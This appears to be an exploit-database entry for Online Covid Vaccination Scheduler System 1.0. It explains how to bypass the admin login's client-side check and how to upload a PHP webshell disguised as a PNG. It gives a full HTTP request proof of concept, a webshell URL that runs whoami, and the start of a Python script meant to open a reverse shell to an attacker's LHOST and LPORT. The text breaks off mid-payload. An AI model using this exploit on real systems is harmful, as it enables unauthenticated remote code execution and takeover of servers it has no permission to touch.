# Exploit Title: Online Covid Vaccination Scheduler System 1.0 - Arbitrary File Upload to Remote Code Execution (Unauthenticated) # Date: 2021-07-07 # Exploit Author: faisalfs10x # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip # Version: 1.0 # Tested on: Windows 10, XAMPP """ ################ # Description # ################ 1. The admin panel UI login can be assessed at http://{ip}/scheduler/admin/login.php. Due to the client-side input validation implemented within scripts, it is possible to bypass and access the admin panel UI by making request to "http://localhost/scheduler/admin/?page=user" and removing the javascript tag '' in the server response body. For making the process easier, we can use burp "Match and Replace" option to automatically replace the javascript tag parts of responses body passing through the proxy. 2. The admin panel has an upload function of profile photo accessible at http://localhost/scheduler/admin/?page=user. An attacker could upload a malicious file such as shell.php with the Content-Type: image/png. Then, the attacker have to visit the uploaded profile photo to access the shell. ##################### # PoC for webshell # ##################### Request: ======== POST /scheduler/classes/Users.php?f=save HTTP/1.1 Host: localhost Content-Length: 721 sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99" Accept: */* X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYrg9YZykFY2bmNqY Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/scheduler/admin/?page=user Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=a5d66tonur7vir28rtoc049127 Connection: close ------WebKitFormBoundaryYrg9YZykFY2bmNqY Content-Disposition: form-data; name="id" 1 ------WebKitFormBoundaryYrg9YZykFY2bmNqY Content-Disposition: form-data; name="firstname" Adminstrator ------WebKitFormBoundaryYrg9YZykFY2bmNqY Content-Disposition: form-data; name="lastname" Admin ------WebKitFormBoundaryYrg9YZykFY2bmNqY Content-Disposition: form-data; name="username" admin ------WebKitFormBoundaryYrg9YZykFY2bmNqY Content-Disposition: form-data; name="password" ------WebKitFormBoundaryYrg9YZykFY2bmNqY Content-Disposition: form-data; name="img"; filename="rev.php" Content-Type: image/png # shell content here ------WebKitFormBoundaryYrg9YZykFY2bmNqY-- #################### # Webshell access: # #################### # Webshell access via: PoC: http://localhost/scheduler/uploads/{random_number}_rev.php?rev=whoami # Output: output: windows10/user """ ################################################## # Reverse shell exploit code for windows target: # ################################################## #!/usr/bin/python import requests import sys import string import random import urllib.request from requests_html import HTMLSession if len(sys.argv) < 4: print('\033[1;32;40m [+] Usage: python3 '+sys.argv[0]+' ') exit() RHOST = sys.argv[1] RPORT = '80' LHOST = sys.argv[2] LPORT = sys.argv[3] if not RHOST.startswith('http://') and not RHOST.startswith('https://'): RHOST = "http://" + RHOST # if not RHOST.endswith('/'): # RHOST = RHOST + "/" # RHOST = '127.0.0.1' # RPORT = '80' # LHOST = '192.168.8.117' # LPORT = '4444' shellpath = f"{RHOST}:{RPORT}/scheduler/uploads/" # shell will be uploaded here let = string.ascii_lowercase shellfilename = ''.join(random.choice(let) for i in range(5))+".php" # or just static shellfilename = 'rev.php' req_url = f"{RHOST}:{RPORT}/scheduler/classes/Users.php?f=save" # endpoint for uploading shell req_headers = {"sec-ch-ua": "\"Chromium\";v=\"91\", \" Not;A Brand\";v=\"99\"", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryYrg9YZykFY2bmNqY", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} req_data = "------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n1\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\nAdminstrator\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\nAdmin\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\nadmin\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+shellfilename+"\"\r\nContent-Type: image/png\r\n\r\n